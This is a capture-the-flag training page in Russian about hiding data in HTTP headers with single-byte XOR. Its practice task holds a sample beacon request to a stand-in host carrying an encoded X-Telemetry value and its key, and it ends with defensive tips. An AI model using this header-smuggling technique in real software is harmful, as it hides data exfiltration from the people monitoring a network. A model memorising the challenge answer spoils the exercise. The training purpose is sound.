← Все комнаты Путь «Сети» →
СреднийСети Флаг Осенний CTF

Канал в User-Agent

Прогресс комнаты 0 / 4
Задание 1Введение

Цель: Находить скрытые каналы в заголовках и снимать однобайтовый XOR.

Маяк прячет данные в заголовке, зашифровав их однобайтовым XOR. Ключ указан.

Задание 2Теория и инструменты

Маяки вредоносного ПО прячут данные в обычных заголовках (User-Agent, Cookie, свои X-заголовки).

Однобайтовый XOR — слабая обфускация: ключ один для всех байтов.

Инструменты

  • CyberChef: From Hex, XOR
  • Python: bytes.fromhex, b ^ key

Больше теории — в разделе «Обучение: Сети».

Задание 3Практика: найдите флаг
Данные задания156 символов
GET /beacon HTTP/1.1
Host: cdn.example
X-Telemetry: 786f7d404e480849640f5c08554f64430b496458530f5555085746
(поле зашифровано однобайтовым XOR, ключ = 0x3B)
Войдите, чтобы ответить

Пошаговый план — открывайте по одному шагу

  1. 1
    Извлеките hex из заголовка.

Подсказки — каждая до решения стоит −25 очков

Задание 4Как защититься

Проверяйте исходящий трафик (egress), выявляйте нетипичные заголовки и бикон-периодичность.

Разборы участников

Разборы открываются после того, как вы решите комнату, — чтобы не спойлерить ответ.